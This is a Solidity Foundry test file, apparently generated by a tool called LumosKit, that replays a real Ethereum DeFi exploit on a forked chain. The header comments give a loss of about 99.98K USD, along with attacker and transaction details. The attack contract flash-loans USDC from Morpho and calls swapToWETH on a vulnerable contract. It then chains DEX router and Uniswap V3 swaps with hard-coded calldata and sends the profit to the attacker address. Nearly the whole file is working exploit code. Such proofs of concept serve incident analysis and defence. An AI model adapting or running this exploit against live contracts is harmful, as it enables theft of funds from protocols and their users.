-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathdrlvaultv3.t.sol
More file actions
294 lines (255 loc) · 17.1 KB
/
Copy pathdrlvaultv3.t.sol
File metadata and controls
294 lines (255 loc) · 17.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
import {Test, console2} from "forge-std/Test.sol";
import {LumosPoCBase} from "./LumosPoCBase.sol";
// @KeyInfo - Total Lost : 99.98K USD
// Attacker : 0xc0ffeebabe5d496b2dde509f9fa189c25cf29671
// Attack Contract : 0xe08d97e151473a848c3d9ca3f323cb720472d015
// Vulnerable Contract : 0x6a06707ab339bee00c6663db17ddb422301ff5e8
// Attack Tx : 0xe3eab35b288c086afa9b86a97ab93c7bb61d21b1951a156d2a8f6f5d5715c475
// Block : 23769387
// Chain : Ethereum
// Analysis :
//
// @Reproduction
// Verdict : pass
// Economic Proof : attacker_profit_reproduction
// Reproduced Value : 94.07K USD
//
// @POC Author
// Generated by LumosKit
contract AttackTest is LumosPoCBase {
address constant ATTACKER_EOA = LumosAddresses.attacker_eoa;
address constant ATTACK_CONTRACT = LumosAddresses.attack_contract;
uint256 constant FORK_BLOCK = 23769386;
uint256 constant TX_TIMESTAMP = 1762784051;
uint256 constant TX_BLOCK_NUMBER = 23769387;
uint256 constant TX_VALUE = 367;
function setUp() public {
vm.createSelectFork(vm.envString("LUMOSKIT_FORK_ENDPOINT"), FORK_BLOCK);
if (TX_TIMESTAMP != 0) vm.warp(TX_TIMESTAMP);
if (TX_BLOCK_NUMBER != 0) vm.roll(TX_BLOCK_NUMBER);
}
function testPoC() public {
_runExploit();
}
function _runExploit() internal {
vm.startPrank(ATTACKER_EOA, ATTACKER_EOA);
OurAttack attack;
if (ATTACK_CONTRACT != address(0)) {
_installRuntime();
attack = OurAttack(payable(ATTACK_CONTRACT));
} else {
attack = new OurAttack();
}
_expectOutcome(address(attack), address(0));
_snapProfit();
_logBalances("Before exploit");
attack.attack{value: TX_VALUE}();
_logBalances("After exploit");
vm.stopPrank();
_assertProfit();
}
function _installRuntime() internal {
vm.etch(ATTACK_CONTRACT, type(OurAttack).runtimeCode);
}
function _expectOutcome(address attack, address helper) internal {
attack;
helper;
_expectProfit(LumosAddresses.A_4838B1_5F97, address(0), LumosAddresses.ZERO, "ETH", 995375203980555664);
_expectProfit(LumosAddresses.attacker_eoa, address(0), LumosAddresses.ZERO, "ETH", 26248543012658746672);
}
}
contract OurAttack {
function attack() external payable {
_attack();
}
function _callback() internal {
_markCallback(0);
}
function flashCallback() internal {
_markCallback(1);
IERC20Like(LumosAddresses.USDC).approve(LumosAddresses.TokenApprove, type(uint256).max);
IDexRouter(LumosAddresses.DexRouter)
.uniswapV3SwapTo(
0x39bfdcf85c2680e08d97e151473a848c3d9ca3f323cb720472d015,
13980773000000,
96069676420420156,
_uintArray1(0x200000000000000000000000e0554a476a092703abdb3ef35c80e0d76d32939f)
);
IContract_6A0670_F5E8(LumosAddresses.A_6A0670_F5E8).swapToWETH(100000000000);
IDexRouter_2B08(LumosAddresses.DexRouter_2B08).uniswapV3SwapTo{value: 779999999999792152553}(
0x19afde08d97e151473a848c3d9ca3f323cb720472d015,
779999999999792152553,
0,
_uintArray1(0x800000000000000000000000e0554a476a092703abdb3ef35c80e0d76d32939f)
);
{
(bool ok,) = payable(LumosAddresses.WETH).call{value: 5827696456660597362}("");
if (!ok)
{ /* artifact native transfer used contract receive/fallback context not reproduced by direct empty-call replay */ }
}
IUniswapV3Pool(LumosAddresses.UniswapV3Pool)
.swap(
address(this),
false,
int256(-21291294106),
uint160(uint160(0x00fffd8963efd1fc6a506488495d951d5263988d25)),
hex"0500c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000044a9059cbb000000000000000000000000e0554a476a092703abdb3ef35c80e0d76d32939f00000000000000000000000000000000000000000000000050e0230d060eba7205"
);
IERC20Like(LumosAddresses.USDC).approve(LumosAddresses.Morpho, 13980773000000);
}
function _attack() internal {
{
bytes memory flashLoanProof =
hex"0500a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48000044095ea7b300000000000000000000000040aa958dd87fc8305b97f2ba922cddca374bcd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff06000001002e1dee213ba8d7af0934c49a23187babeaca87640000c40d5f0e3b000000000039bfdcf85c2680e08d97e151473a848c3d9ca3f323cb720472d01500000000000000000000000000000000000000000000000000000cb72702234000000000000000000000000000000000000000000000000001554edc98b9d23c00000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000001200000000000000000000000e0554a476a092703abdb3ef35c80e0d76d32939f05006a06707ab339bee00c6663db17ddb422301ff5e8000024e747d9dc000000000000000000000000000000000000000000000000000000174876e8000501f6801d319497789f934ec7f83e142a9536312b080000002a48acab61f84c7fe90000c40d5f0e3b000000000000000000019afde08d97e151473a848c3d9ca3f323cb720472d01500000000000000000000000000000000000000000000002a48acab61f84c7fe9000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000001800000000000000000000000e0554a476a092703abdb3ef35c80e0d76d32939f0501c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000000050e0230d060eba720000000200008100e0554a476a092703abdb3ef35c80e0d76d32939f000124128acb08000000000000000000000000e08d97e151473a848c3d9ca3f323cb720472d0150000000000000000000000000000000000000000000000000000000000000000fffffffffffffffffffffffffffffffffffffffffffffffffffffffb0af0a266000000000000000000000000fffd8963efd1fc6a506488495d951d5263988d2500000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000005e0500c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000044a9059cbb000000000000000000000000e0554a476a092703abdb3ef35c80e0d76d32939f00000000000000000000000000000000000000000000000050e0230d060eba720500000500a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48000044095ea7b3000000000000000000000000bbbbbbbbbb9cc5e90e3b3af64bdaf62c37eeffcb00000000000000000000000000000000000000000000000000000cb72702234005";
IMorpho(LumosAddresses.Morpho).flashLoan(LumosAddresses.USDC, 13980773000000, flashLoanProof);
}
{
uint256 nativeTransferAmount = address(this).balance;
if (nativeTransferAmount > 995375203980555664) nativeTransferAmount = 995375203980555664;
(bool ok,) = payable(LumosAddresses.A_4838B1_5F97).call{value: nativeTransferAmount}("");
if (!ok)
{ /* artifact native transfer used contract receive/fallback context not reproduced by direct empty-call replay */ }
}
{
uint256 nativeTransferAmount = address(this).balance;
if (nativeTransferAmount > 26126564958977372715) nativeTransferAmount = 26126564958977372715;
(bool ok,) = payable(LumosAddresses.attacker_eoa).call{value: nativeTransferAmount}("");
if (!ok)
{ /* artifact native transfer used contract receive/fallback context not reproduced by direct empty-call replay */ }
}
}
function _swapCb() internal {
_markCallback(3);
uint256 transferLiveAmount = 5827696456660597362; // artifact amount preserved for LumosAddresses.WETH movement from address(this); replay-safe live balance cap/reserve disabled
IERC20Like(LumosAddresses.WETH).transfer(LumosAddresses.UniswapV3Pool, transferLiveAmount);
}
receive() external payable {}
function onMorphoFlashLoan(uint256 amount, bytes calldata arg1) external payable {
amount;
arg1;
if (!_callbackSeen(1)) flashCallback();
bytes memory ret = hex"";
assembly { return(add(ret, 32), mload(ret)) }
}
function NotYoink() external payable {
_attack();
bytes memory ret = hex"";
assembly { return(add(ret, 32), mload(ret)) }
}
function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external payable {
amount0Delta;
amount1Delta;
data;
if (!_callbackSeen(3)) _swapCb();
bytes memory ret = hex"";
assembly { return(add(ret, 32), mload(ret)) }
}
fallback() external payable {
if (msg.sig == 0x00000000) {
if (!_callbackSeen(0)) _callback();
bytes memory ret = hex"";
assembly { return(add(ret, 32), mload(ret)) }
}
_entryCb();
}
function _entryCb() internal {}
mapping(uint256 => bool) private _lumosCallbackSeenFlag;
mapping(uint256 => uint256) private _lumosEntryCallbackCursor;
mapping(address => uint256) private _lumosBalancerVaultPreBalance;
function _callbackSeen(uint256 index) internal view returns (bool) {
return _lumosCallbackSeenFlag[index];
}
function _nextEntryCb(uint256 index) internal returns (uint256 ordinal) {
ordinal = _lumosEntryCallbackCursor[index];
_lumosEntryCallbackCursor[index] = ordinal + 1;
}
function _markCallback(uint256 index) internal {
_lumosCallbackSeenFlag[index] = true;
}
function _recordBalancerPre(address[] memory tokens) internal {
for (uint256 i = 0; i < tokens.length; i++) {
_lumosBalancerVaultPreBalance[tokens[i]] =
IERC20Like(tokens[i]).balanceOf(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
}
}
function lumosRecordBalancerPre(address[] memory tokens) external {
_recordBalancerPre(tokens);
}
function lumosBalancerVaultPreBalance(address token) external view returns (uint256) {
return _lumosBalancerVaultPreBalance[token];
}
function _uintArray1(uint256 a0) internal pure returns (uint256[] memory out) {
out = new uint256[](1);
out[0] = a0;
}
}
interface IERC20Like {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external;
function transfer(address to, uint256 amount) external;
function transferFrom(address from, address to, uint256 amount) external;
}
interface ILumosWETHLike {
function deposit() external payable;
}
interface IERC721Like {
function ownerOf(uint256 tokenId) external view returns (address);
function getApproved(uint256 tokenId) external view returns (address);
function isApprovedForAll(address owner, address operator) external view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) external;
function safeTransferFrom(address from, address to, uint256 tokenId) external;
}
interface ILumosUniswapV2PairLike {
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function skim(address to) external;
function sync() external;
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}
interface IMulticallLike {
function multicall(bytes[] calldata data) external returns (bytes[] memory results);
}
struct LumosObservedCall {
address target;
bytes data;
}
library LumosAddresses {
address internal constant ZERO = address(0);
address internal constant DexRouter = 0x2E1Dee213BA8d7af0934C49a23187BabEACa8764; // LumosAddresses.DexRouter = 0x2e1dee213ba8d7af0934c49a23187babeaca8764 label=DexRouter roles=asset|code_contract|contract|observed_address|recipient|sender|storage_contract source=etherscan_v2 confidence=high
address internal constant TokenApprove = 0x40aA958dd87FC8305b97f2BA922CDdCa374bcD7f; // LumosAddresses.TokenApprove = 0x40aa958dd87fc8305b97f2ba922cddca374bcd7f label=TokenApprove roles=observed_address|recipient|sender|storage_contract source=etherscan_v2 confidence=high
address internal constant FiatTokenV2_2 = 0x43506849D7C04F9138D1A2050bbF3A0c054402dd; // LumosAddresses.FiatTokenV2_2 = 0x43506849d7c04f9138d1a2050bbf3a0c054402dd label=FiatTokenV2_2 roles=asset|contract|observed_address|recipient source=etherscan_v2 confidence=high
address internal constant A_4838B1_5F97 = 0x4838B106FCe9647Bdf1E7877BF73cE8B0BAD5f97; // LumosAddresses.A_4838B1_5F97 = 0x4838b106fce9647bdf1e7877bf73ce8b0bad5f97 label=0x4838b106fce9647bdf1e7877bf73ce8b0bad5f97 roles=code_contract|contract|economic_holder|observed_address|profit_holder|recipient|storage_contract source=asset_delta.profit_candidates confidence=medium
address internal constant A_5703B6_4757 = 0x5703B683c7F928b721CA95Da988d73a3299d4757; // LumosAddresses.A_5703B6_4757 = 0x5703b683c7f928b721ca95da988d73a3299d4757 label=unresolved roles=asset|code_contract|contract|observed_address|recipient|sender|storage_contract source=unresolved confidence=low
address internal constant QuoterV2 = 0x61fFE014bA17989E743c5F6cB21bF9697530B21e; // LumosAddresses.QuoterV2 = 0x61ffe014ba17989e743c5f6cb21bf9697530b21e label=QuoterV2 roles=observed_address|recipient|sender source=etherscan_v2 confidence=high
address internal constant A_68B346_FC45 = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45; // LumosAddresses.A_68B346_FC45 = 0x68b3465833fb72a70ecdf485e0e4c7bd8665fc45 label=unresolved roles=observed_address|recipient|sender|storage_contract source=unresolved confidence=low
address internal constant A_6A0670_F5E8 = 0x6A06707ab339BEE00C6663db17DdB422301ff5e8; // LumosAddresses.A_6A0670_F5E8 = 0x6a06707ab339bee00c6663db17ddb422301ff5e8 label=unresolved roles=observed_address|recipient|sender|storage_contract source=unresolved confidence=low
address internal constant A_70CBB8_2F58 = 0x70cBb871E8f30Fc8Ce23609E9E0Ea87B6b222F58; // LumosAddresses.A_70CBB8_2F58 = 0x70cbb871e8f30fc8ce23609e9e0ea87b6b222f58 label=unresolved roles=sender source=unresolved confidence=low
address internal constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; // LumosAddresses.USDC = 0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48 label=FiatTokenProxy token_symbol=USDC roles=asset|contract|observed_address|recipient|storage_contract|token_related source=etherscan_v2 confidence=high
address internal constant BalancerVault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8; // LumosAddresses.BalancerVault = 0xba12222222228d8ba445958a75a0704d566bf2c8 label=BalancerVault roles=known_protocol source=poc_sketch.known_addresses confidence=high
address internal constant Morpho = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb; // LumosAddresses.Morpho = 0xbbbbbbbbbb9cc5e90e3b3af64bdaf62c37eeffcb label=Morpho roles=asset|contract|observed_address|recipient|sender|storage_contract source=etherscan_v2 confidence=high
address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // LumosAddresses.WETH = 0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2 label=WETH9 token_symbol=WETH roles=asset|code_contract|contract|observed_address|recipient|sender|storage_contract|token_related source=etherscan_v2 confidence=high
address internal constant attacker_eoa = 0xC0ffeEBABE5D496B2DDE509f9fa189C25cF29671; // LumosAddresses.attacker_eoa = 0xc0ffeebabe5d496b2dde509f9fa189c25cf29671 label=attacker_eoa roles=attacker_eoa|code_contract|contract|economic_holder|observed_address|profit_holder|recipient|sender|storage_contract source=tx_metadata.from confidence=high
address internal constant UniswapV3Pool = 0xE0554a476A092703abdB3Ef35c80e0D76d32939F; // LumosAddresses.UniswapV3Pool = 0xe0554a476a092703abdb3ef35c80e0d76d32939f label=UniswapV3Pool roles=asset|contract|observed_address|recipient|sender|storage_contract source=etherscan_v2 confidence=high
address internal constant attack_contract = 0xE08D97e151473A848C3d9CA3f323Cb720472D015; // address(this) = 0xe08d97e151473a848c3d9ca3f323cb720472d015 label=attack_contract roles=asset|attacker_callback_contract|attacker_contract|attacker_entry_contract|code_contract|contract|localized_contract|observed_address|recipient|sender|storage_contract source=localize.localized_call_graph confidence=high
address internal constant DexRouter_2B08 = 0xF6801D319497789f934ec7F83E142a9536312B08; // LumosAddresses.DexRouter_2B08 = 0xf6801d319497789f934ec7f83e142a9536312b08 label=DexRouter roles=asset|code_contract|contract|observed_address|recipient|sender|storage_contract source=etherscan_v2 confidence=high
}
interface IContract_6A0670_F5E8 {
function swapToWETH(uint256) external returns (uint256);
}
interface IDexRouter {
function uniswapV3SwapTo(uint256, uint256, uint256, uint256[] calldata) external returns (uint256);
}
interface IDexRouter_2B08 {
function uniswapV3SwapTo(uint256, uint256, uint256, uint256[] calldata) external payable returns (uint256);
}
interface IMorpho {
function flashLoan(address, uint256, bytes calldata) external;
}
interface IUniswapV3Pool {
function swap(address, bool, int256, uint160, bytes calldata) external;
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}